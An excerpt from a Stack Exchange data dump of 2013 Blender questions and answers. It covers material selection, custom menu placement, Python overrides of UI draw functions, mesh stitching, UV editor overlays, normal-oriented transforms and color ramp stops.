  <row Id="3396" PostTypeId="2" ParentId="3390" CreationDate="2013-10-18T21:41:59.763" Score="24" Body="&lt;p&gt;You can do this by selecting one of the objects with the material and then going to the &lt;em&gt;3d view&lt;/em&gt; header and choosing &lt;em&gt;Select &gt; Linked &gt; Material&lt;/em&gt; or use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; &lt;em&gt;&gt; Material&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NQPoK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-10-18T21:41:59.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3398" PostTypeId="2" ParentId="3394" CreationDate="2013-10-18T22:16:33.143" Score="1" Body="&lt;p&gt;One way around this is to make your changes and save the script, restart Blender and run the script again.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-10-18T22:16:33.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3399" PostTypeId="2" ParentId="3394" CreationDate="2013-10-18T22:20:24.550" Score="3" Body="&lt;p&gt;Execute &lt;strong&gt;Reload Scripts&lt;/strong&gt; &lt;kbd&gt;F8&lt;/kbd&gt; first before re-running the script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a custom menu function is supposed to run within an addon, where &lt;code&gt;register()&lt;/code&gt; and &lt;code&gt;unregister()&lt;/code&gt; are run in pairs. Each script execution yields different instance of each functions, even if their name doesn't change across each execution. So unless there is a way to check existing draw functions within a class by name (which I haven't found yet), &lt;strong&gt;Reload Scripts&lt;/strong&gt; or restarting Blender is the way to go.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-10-18T22:20:24.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3400" PostTypeId="2" ParentId="3393" CreationDate="2013-10-18T22:31:10.093" Score="1" Body="&lt;p&gt;Not easily. You may want to try removing the Help menu and then re-appending it after you've appended your custom menu.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-10-18T22:31:10.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3401" PostTypeId="2" ParentId="3393" CreationDate="2013-10-18T22:38:40.763" Score="5" Body="&lt;p&gt;There is probably a more elegant way but this works. If you right click one of these menu items and select &lt;em&gt;Edit Source&lt;/em&gt; it should bring up &lt;code&gt;space_info.py&lt;/code&gt;, the script that defines and draws these. You can then simply clone an existing class and add it to the menu via the &lt;code&gt;INFO_HT_header()&lt;/code&gt; class in the desired order, &lt;em&gt;(here I added it after Window before Help)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub.menu(&quot;INFO_MT_window&quot;)&#xA;sub.menu(&quot;ExampleMenu&quot;) # this is the example menu&#xA;sub.menu(&quot;INFO_MT_help&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EQR4w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example above, I used the example class defined in &lt;em&gt;Templates &gt; Python &gt; UI Menu Simple&lt;/em&gt; (lines 4 to 12) and just commented out &lt;code&gt;bl_idname&lt;/code&gt; and renamed the class.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-10-18T22:44:56.800" LastActivityDate="2013-10-18T22:44:56.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3402" PostTypeId="2" ParentId="3394" CreationDate="2013-10-19T00:48:45.173" Score="3" Body="&lt;p&gt;Running a script from &lt;em&gt;Text Editor&lt;/em&gt; won't call &lt;code&gt;unregister()&lt;/code&gt; before registering all classes / the module again. Therefore, another draw callback is added to the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could remove all extra draw funcs from the header like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    bpy.utils.register_class(CustomMenu)&#xA;&#xA;    if hasattr(bpy.types.INFO_HT_header.draw, &quot;_draw_funcs&quot;):&#xA;        for f in bpy.types.INFO_HT_header.draw._draw_funcs:&#xA;            # could also test e.g. _draw_funcs[#].__code__.co_filename to be sure&#xA;            if not repr(f).startswith(&quot;&amp;lt;function INFO_HT_header.draw&quot;):&#xA;                bpy.types.INFO_HT_header.draw._draw_funcs.remove(f)&#xA;&#xA;    bpy.types.INFO_HT_header.append(draw_item)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or even&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if hasattr(bpy.types.INFO_HT_header.draw, &quot;_draw_funcs&quot;):&#xA;        func = (f for f in _draw_funcs if repr(f).startswith(&quot;&amp;lt;function INFO_HT_header.draw&quot;).__next__()&#xA;        del bpy.types.INFO_HT_header.draw._draw_funcs&#xA;        bpy.types.INFO_HT_header.draw = func&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-10-19T00:48:45.173" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3403" PostTypeId="2" ParentId="3393" CreationDate="2013-10-19T01:02:01.530" Score="11" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;There is probably a more elegant way&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually there is not. We can only append and prepend. If every stock entry was a draw callback in &lt;code&gt;draw._draw_funcs&lt;/code&gt;, it would be possible to insert inbetween. Until then, there are only two hacks, which I wouldn't recommend for everyday use (rather stick to &#xA;iKlsR's solution):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Wrapping all UILayout calls - &lt;a href=&quot;https://archive.blender.org/wiki/index.php/User:Ideasman42/Blender_UI_Shenanigans/&quot; rel=&quot;noreferrer&quot;&gt;wiki link&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Injecting modified layout code the hard way - &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?312819-Snippet-System-for-Text-Editor&quot; rel=&quot;noreferrer&quot;&gt;included in addon code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that 1. works for a single addon only at a time, and 2. only works as long as there's just one addon replacing the code object of a certain bpy type.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Content from Blender wiki, by ideasman42:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page shows how to intercept every draw call in blenders python ui which can be used for some UI tricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First heres an example of how to do just that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested to work with Blender 2.70&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Intercept UI draw/poll&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple example of how to intercept poll and draw functions, without making any behavioral changes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;classes = [&quot;Panel&quot;, &quot;Menu&quot;, &quot;Header&quot;]&#xA;&#xA;&#xA;def draw_override(func_orig, self_real, context):&#xA;    print(&quot;override draw:&quot;, self_real)&#xA;&#xA;    ret = func_orig(self_real, context)&#xA;    return ret&#xA;&#xA;&#xA;def poll_override(func_orig, cls, context):&#xA;    print(&quot;override poll:&quot;, func_orig.__self__)&#xA;&#xA;    ret = func_orig(context)&#xA;&#xA;    return ret&#xA;&#xA;import bpy&#xA;&#xA;&#xA;for cls_name in classes:&#xA;    cls = getattr(bpy.types, cls_name)&#xA;&#xA;    for subcls in cls.__subclasses__():&#xA;        if &quot;draw&quot; in subcls.__dict__:  # dont want to get parents draw()&#xA;&#xA;            def replace_draw():&#xA;                # function also serves to hold draw_orig in a local namespace&#xA;                draw_orig = subcls.draw&#xA;                def draw(self, context):&#xA;                    return draw_override(draw_orig, self, context)&#xA;                subcls.draw = draw&#xA;&#xA;            replace_draw()&#xA;&#xA;        if &quot;poll&quot; in subcls.__dict__:  # dont want to get parents poll()&#xA;            def replace_poll():&#xA;                # function also serves to hold poll_orig in a local namespace&#xA;                poll_orig = subcls.poll&#xA;                def poll(cls, context):&#xA;                    return poll_override(poll_orig, cls, context)&#xA;                subcls.poll = classmethod(poll)&#xA;&#xA;            replace_poll()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Override layout &amp;amp; functions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the extended from the above code but extended to subclass the layout type used within draw().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example operators and properties are filtered out based on their names, but all sorts of things are possible with this - modifying args to functions, changing text etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;classes = [&quot;Panel&quot;, &quot;Menu&quot;, &quot;Header&quot;]&#xA;&#xA;&#xA;import bpy&#xA;&#xA;UILayout = bpy.types.UILayout&#xA;&#xA;op_blacklist = [&#xA;    &quot;render.render&quot;,&#xA;    &quot;object.modifier_add&quot;,&#xA;    &quot;object.forcefield_toggle&quot;,&#xA;    ]&#xA;&#xA;prop_blacklist = [&#xA;    &quot;Object.location&quot;,&#xA;    &quot;Object.scale&quot;,&#xA;    &quot;Object.rotation_euler&quot;,&#xA;    &quot;RenderSettings.display_mode&quot;,&#xA;    ]&#xA;&#xA;&#xA;def filter_operator(op_id):&#xA;    if op_id in op_blacklist:&#xA;        return False&#xA;    return True&#xA;&#xA;&#xA;def filter_prop(data, prop):&#xA;    prop_id = &quot;%s.%s&quot; % (data.__class__.__name__, prop)&#xA;    if prop_id in prop_blacklist:&#xA;        return False&#xA;    return True&#xA;&#xA;&#xA;class OperatorProperties_FAKE:&#xA;    pass&#xA;&#xA;&#xA;class UILayout_FAKE(bpy.types.UILayout):&#xA;    __slots__ = ()&#xA;&#xA;    def __getattribute__(self, attr):&#xA;        # ensure we always pass down UILayout_FAKE instances&#xA;        if attr in (&quot;row&quot;, &quot;split&quot;, &quot;column&quot;, &quot;box&quot;, &quot;column_flow&quot;):&#xA;            real_func = UILayout.__getattribute__(self, attr)&#xA;&#xA;            def dummy_func(*args, **kw):&#xA;                print(&quot;    wrapped&quot;, attr)&#xA;                ret = real_func(*args, **kw)&#xA;                return UILayout_FAKE(ret)&#xA;            return dummy_func&#xA;&#xA;        elif attr in (&quot;operator&quot;, &quot;operator_menu_enum&quot;, &quot;operator_enum&quot;):&#xA;            real_func = UILayout.__getattribute__(self, attr)&#xA;&#xA;            def dummy_func(*args, **kw):&#xA;                print(&quot;    wrapped&quot;, attr)&#xA;                if filter_operator(args[0]):&#xA;                    ret = real_func(*args, **kw)&#xA;                else:&#xA;                    # UILayout.__getattribute__(self, &quot;label&quot;)()&#xA;                    # may need to be set&#xA;                    ret = OperatorProperties_FAKE()&#xA;                return ret&#xA;            return dummy_func&#xA;        elif attr in (&quot;prop&quot;, &quot;prop_enum&quot;):&#xA;            real_func = UILayout.__getattribute__(self, attr)&#xA;&#xA;            def dummy_func(*args, **kw):&#xA;                print(&quot;    wrapped&quot;, attr)&#xA;                if filter_prop(args[0], args[1]):&#xA;                    ret = real_func(*args, **kw)&#xA;                else:&#xA;                    ret = None&#xA;                return ret&#xA;            return dummy_func&#xA;        else:&#xA;            return UILayout.__getattribute__(self, attr)&#xA;&#xA;        print(self, attr)&#xA;&#xA;    def operator(*args, **kw):&#xA;        print(&quot;OP&quot;)&#xA;        return super().operator(*args, **kw)&#xA;&#xA;&#xA;def draw_override(func_orig, self_real, context):&#xA;    if 1:&#xA;        class Wrapper(self_real.__class__):&#xA;            def __getattribute__(self, attr):&#xA;                if attr == &quot;layout&quot;:&#xA;                    ret = self_real.layout&#xA;                    return UILayout_FAKE(ret)&#xA;                else:&#xA;                    return super().__getattr__(self, attr)&#xA;&#xA;            @property&#xA;            def layout(self):&#xA;                ret = self_real.layout&#xA;                print(&quot;wrapped&quot;)&#xA;                return ret&#xA;        print(1)&#xA;        self_wrap = Wrapper(self_real)&#xA;        ret = func_orig(self_wrap, context)&#xA;    else:&#xA;        # simple, no wrapping&#xA;        ret = func_orig(self_wrap, context)&#xA;&#xA;    return ret&#xA;&#xA;&#xA;def poll_override(func_orig, context):&#xA;&#xA;    ret = func_orig(context)&#xA;&#xA;    return ret&#xA;&#xA;&#xA;for cls_name in classes:&#xA;    cls = getattr(bpy.types, cls_name)&#xA;&#xA;    for subcls in cls.__subclasses__():&#xA;        if &quot;draw&quot; in subcls.__dict__:  # dont want to get parents draw()&#xA;&#xA;            def replace_draw():&#xA;                # function also serves to hold draw_old in a local namespace&#xA;                draw_orig = subcls.draw&#xA;&#xA;                def draw(self, context):&#xA;                    return draw_override(draw_orig, self, context)&#xA;                subcls.draw = draw&#xA;&#xA;            replace_draw()&#xA;&#xA;        if &quot;poll&quot; in subcls.__dict__:  # dont want to get parents poll()&#xA;            def replace_poll():&#xA;                # function also serves to hold draw_old in a local namespace&#xA;                poll_orig = subcls.poll&#xA;&#xA;                def poll(context):&#xA;                    return poll_override(poll_orig, context)&#xA;                subcls.poll = classmethod(poll)&#xA;&#xA;            replace_poll()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Relevant code from my experimental addon to inject an own menu after the Templates menu below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It essentially determines the path of the file which defines the original layout &lt;code&gt;getattr(bpy.types, &quot;TEXT_HT_header&quot;).draw.__code__.co_filename&lt;/code&gt;, looks for a hard-coded piece of code &lt;code&gt;row.menu(&quot;TEXT_MT_templates&quot;)&lt;/code&gt; starting from &lt;code&gt;…draw.__code__.co_firstlineno - 1&lt;/code&gt;, gets hold of the draw function code and inserts its own piece of code which adds the custom menu (it has to adjust the indention to be valid).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it executes the new code (string) in isolation &lt;code&gt;exec(&quot;&quot;.join(lines), {}, l)&lt;/code&gt; with locals backed by an initially empty object &lt;code&gt;l = {}&lt;/code&gt;. The compiled draw function can then be accessed by &lt;code&gt;l['draw']&lt;/code&gt; and the original draw function can be substituted: &lt;code&gt;getattr(bpy.types, &quot;TEXT_HT_header&quot;).draw = l['draw']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A reference to the original draw function should be stored so that it can be restored if necessary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class DrawFuncStore:&#xA;    bpy_type = &quot;TEXT_HT_header&quot;&#xA;    bpy_type_class = getattr(bpy.types, bpy_type)&#xA;    draw = None&#xA;&#xA;def insert_menu():&#xA;    insert_after = 'row.menu(&quot;TEXT_MT_templates&quot;)'&#xA;    insert_code  = '        row.menu(&quot;TEXT_MT_snippets&quot;)\n' \&#xA;                   '        from bpy.app.translations import pgettext_iface as iface_\n' # meh...&#xA;    DrawFuncStore.draw = DrawFuncStore.bpy_type_class.draw&#xA;    #module = bpy_type_class.__module__&#xA;&#xA;    filepath = DrawFuncStore.bpy_type_class.draw.__code__.co_filename&#xA;    if filepath == &quot;&amp;lt;string&amp;gt;&quot;:&#xA;        return&#xA;    try:&#xA;        file = open(filepath, &quot;r&quot;)&#xA;        lines = file.readlines()&#xA;    except:&#xA;        append_menu()&#xA;        return&#xA;&#xA;    line_start = DrawFuncStore.bpy_type_class.draw.__code__.co_firstlineno - 1&#xA;&#xA;    for i in range(line_start, len(lines)):&#xA;        line = lines[i]&#xA;        if not line[0].isspace() and line.lstrip()[0] not in (&quot;#&quot;, &quot;\n&quot;, &quot;\r&quot;):&#xA;            break&#xA;&#xA;    line_end = i&#xA;&#xA;    # Unindent draw func by one level, since it won't sit inside a class&#xA;    lines = [l[4:] for l in lines[line_start:line_end]]&#xA;&#xA;    for i, line in enumerate(lines, 1):&#xA;        if insert_after in line:&#xA;            #print(&quot;FOUND INSERT LINE&quot;)&#xA;            lines.insert(i, insert_code)&#xA;            break&#xA;    else:&#xA;        append_menu()&#xA;        return&#xA;&#xA;    # Debug output&#xA;    #f = open(&quot;D:\\s.txt&quot;, &quot;w&quot;).writelines(lines)&#xA;&#xA;    l = {}&#xA;    exec(&quot;&quot;.join(lines), {}, l)&#xA;    #print(l)&#xA;&#xA;    #bpy_type_class.draw.__code__ = code_object # Doesn't work, since a single func is not a module&#xA;&#xA;    DrawFuncStore.bpy_type_class.draw = l['draw'] # exec defined our custom draw() func!&#xA;&#xA;def append_menu():&#xA;    bpy.types.TEXT_MT_templates.prepend(draw_item)&#xA;&#xA;def remove_menu():&#xA;    if DrawFuncStore.draw is not None:&#xA;        DrawFuncStore.bpy_type_class.draw = DrawFuncStore.draw&#xA;        DrawFuncStore.draw = None&#xA;&#xA;    else:&#xA;        bpy.types.TEXT_MT_templates.remove(draw_item)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2019-12-03T23:40:39.403" LastActivityDate="2019-12-03T23:40:39.403" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="3404" PostTypeId="2" ParentId="3395" CreationDate="2013-10-19T06:42:52.507" Score="0" Body="&lt;p&gt;Not currently. The only time the surface of two objects effect anything is during physics simulations, whether it is rigid bodies, cloth, particles, fluid or smoke, an object can be configured to collide with other simulated objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest feature to what you want is surface snapping used for re-topology but that snaps straight to the surface of another object rather than moving gradually until it hits the surface.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-10-19T06:42:52.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3405" PostTypeId="2" ParentId="3395" CreationDate="2013-10-19T07:48:41.947" Score="3" Body="&lt;p&gt;You can work around it with the shrinkwrap modifier. Make a vertex group with the part that you want your other object to touch. Add shrinkwrap. Set your other object as target. Select your vertex group. Apply. Sculpt the seam to make it not deformed.      &lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2013-10-19T18:21:37.343" LastActivityDate="2013-10-19T18:21:37.343" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3406" PostTypeId="1" AcceptedAnswerId="3407" CreationDate="2013-10-19T09:27:49.850" Score="9" ViewCount="7873" Body="&lt;p&gt;For a game project I'm working on, I want to &quot;stitch&quot; together several grid-like meshes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hKAxK.png&quot; alt=&quot;Separate Meshes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each mesh is sculpted starting from a regular grid to give more depth and detail to its texture. But the individual meshes have to seamlessly connect to their neighboring mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm achieving this by selecting each vertex pair and merging the vertices. Which is a lot of dull work. &quot;Remove Doubles&quot; with a big tolerance setting won't work because sometimes the vertices are closer to another vertex than they are to the one they should be joined with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of an efficient way to join such meshes at their borders?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd write a python script that just sorts all selected vertices along an axis and then merges each odd+even pair, but I'm not fluent with Python or the Blender API yet :)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the time since I asked my question, another question + answer pair has appeared that does what I originally intended to do (merge the edge loop instead of bridging it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/14774&quot;&gt;How to Merge Two Edge Loops&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1461" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-02-21T16:22:12.303" Title="Stitching Meshes Together" Tags="&lt;modeling&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3407" PostTypeId="2" ParentId="3406" CreationDate="2013-10-19T09:38:11.837" Score="8" Body="&lt;p&gt;Newer Blender releases have &lt;strong&gt;Bridge Edge Loops&lt;/strong&gt; tool for exactly that purpose. Select two edge loops with exactly the same vertex count, then execute the operator. The tool is accessible through the &lt;kbd&gt;Space&lt;/kbd&gt; menu, or &lt;em&gt;Specials&lt;/em&gt; &lt;kbd&gt;W&lt;/kbd&gt; menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an addon included with Blender named &lt;strong&gt;LoopTools&lt;/strong&gt;, containing &lt;strong&gt;Bridge&lt;/strong&gt; tool with the same usage as Blender's built-in tool I described above.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-10-19T09:43:36.707" LastActivityDate="2013-10-19T09:43:36.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3408" PostTypeId="2" ParentId="3379" CreationDate="2013-10-19T16:19:25.620" Score="3" Body="&lt;p&gt;I found a work around to use vertices as a mask for multirez. In this example I wanted to keep a surface perfectly flat:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I created a vertex group which included all my flat surface.&lt;/li&gt;&#xA;&lt;li&gt;I added multirez modifier to the model and subdivided it a few times&lt;/li&gt;&#xA;&lt;li&gt;I made a copy of the object and uplied modifier&lt;/li&gt;&#xA;&lt;li&gt;in the copy I went to edit, hid the selected by the group vertices&lt;/li&gt;&#xA;&lt;li&gt;Sculpted right at the edge -- none of the hidden vertices were affected&lt;/li&gt;&#xA;&lt;li&gt;Selected both copy and original (original last)&lt;/li&gt;&#xA;&lt;li&gt;Used Reshape button to copy new geometry from the copy.&lt;img src=&quot;https://i.stack.imgur.com/dLeIR.png&quot; alt=&quot;Multirez with verticex &amp;#39;mask&amp;#39;&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-10-19T16:19:25.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3409" PostTypeId="1" AcceptedAnswerId="155391" CreationDate="2013-10-19T16:39:52.963" Score="19" ViewCount="31216" Body="&lt;p&gt;Is there a way to copy and paste all 3 coordinates from the Properties (N) menu in 3d view? I can do it one at a time, but not all 3 at the same time.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2021-02-05T21:43:43.953" Title="How to copy/paste X, Y, Z coordinates in one step" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3410" PostTypeId="1" AcceptedAnswerId="3411" CreationDate="2013-10-19T20:18:15.053" Score="1" ViewCount="376" Body="&lt;p&gt;Is it possible to disable the transparent face overlay in the &lt;em&gt;UV editor&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the opacity of each face is added to the collective opacity of all the face under it, sometimes with many faces in the same location the overlay becomes completely opaque, making it difficult to see what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l8Z8d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to disable this so only the outline is visible, or limit the opacity to a fixed amount?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12" LastEditDate="2014-11-07T14:20:21.047" LastActivityDate="2014-11-07T14:20:21.047" Title="How to disable the face overlay in the UV editor?" Tags="&lt;interface&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3411" PostTypeId="2" ParentId="3410" CreationDate="2013-10-19T20:30:14.287" Score="1" Body="&lt;p&gt;Go to your &lt;em&gt;User preferences&lt;/em&gt; and under &lt;em&gt;Themes&lt;/em&gt; for the &lt;em&gt;UV/Image Editor&lt;/em&gt; category, lower the alpha of &lt;em&gt;Face Selected&lt;/em&gt; to suit your needs. At &lt;em&gt;0&lt;/em&gt;, only the outlines should still show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pj0Lv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also worth noting that there is another option for &lt;em&gt;Face&lt;/em&gt; color in the same category, the default color for this is white and the default alpha is ~&lt;code&gt;0.3&lt;/code&gt;.&lt;br&gt;&#xA;Therefore, if you have &lt;em&gt;alot&lt;/em&gt; of faces overlaying each other, this can lead to a white look as it &lt;em&gt;will&lt;/em&gt; add up so you can also adjust the alpha value there as well depending on what you need. Setting both &lt;em&gt;Face&lt;/em&gt; and &lt;em&gt;Face Selected&lt;/em&gt; alpha values to &lt;code&gt;0&lt;/code&gt; should suffice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k9vJB.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-10-25T14:07:28.663" LastActivityDate="2013-10-25T14:07:28.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3413" PostTypeId="1" AcceptedAnswerId="3414" CreationDate="2013-10-19T23:07:48.597" Score="9" ViewCount="20447" Body="&lt;p&gt;For instance, if you have a object that lies flat on the ground plane, then you can select the edges, push &lt;kbd&gt;G&lt;/kbd&gt; then &lt;kbd&gt;Z&lt;/kbd&gt; and move those selected edges straight down, in this case it would be as if the selected components were moving along the normals like how the extrude tool behaves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the object is rotated about several axis then this method will not work, so my question is this. Is there a way to move selected elements along the normals in the same way that extruded elements move away from an object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on the matter would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="599" LastEditDate="2013-10-19T23:17:32.983" LastActivityDate="2013-10-21T14:06:21.567" Title="Is it possible to move parts of a model along the selected normals?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3414" PostTypeId="2" ParentId="3413" CreationDate="2013-10-19T23:12:23.883" Score="21" Body="&lt;p&gt;You can set the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations&quot;&gt;&lt;em&gt;Transform orientation&lt;/em&gt;&lt;/a&gt; to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations#Normal&quot;&gt;&lt;em&gt;Normal&lt;/em&gt;&lt;/a&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xBar2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will align the &lt;code&gt;Z&lt;/code&gt; to the normal of the selected element. (Or in the case of multiple selected elements, the average of the normals of all selected elements):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7NMuC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that pressing &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; will still move the selection along the global coordinates, to move the selection along the orientation set with &lt;em&gt;Transform Orientation&lt;/em&gt; you need to press the axis key twice (so &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-19T23:38:01.763" LastActivityDate="2013-10-19T23:38:01.763" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3415" PostTypeId="1" AcceptedAnswerId="3435" CreationDate="2013-10-20T00:14:35.607" Score="1" ViewCount="584" Body="&lt;p&gt;Is there a way to snap stops in the &lt;em&gt;Color ramp&lt;/em&gt; node to equal distances from each other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when you add a new stop by pressing the &lt;em&gt;Add&lt;/em&gt; button, the new stop is added halfway between the selected stop and the stop to the left, but this doesn't allow for equally aligning 4 stops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You actually could align four stops, by doing something like adding a stop in the middle, then adding stops in between the ends and the middle stop, then adding stops in between those stops and the middle stop, etc. However, this quickly gets complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to align stops evenly?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-10-21T19:33:37.920" Title="Is there a way to snap color ramp stops to equal distances?" Tags="&lt;interface&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
